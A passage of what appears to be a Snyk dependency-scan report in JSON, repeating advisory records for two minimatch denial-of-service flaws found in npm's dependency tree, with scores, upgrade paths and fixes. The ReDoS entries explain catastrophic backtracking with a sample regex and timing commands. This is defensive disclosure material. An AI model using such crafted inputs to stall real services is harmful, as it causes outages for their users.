References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ 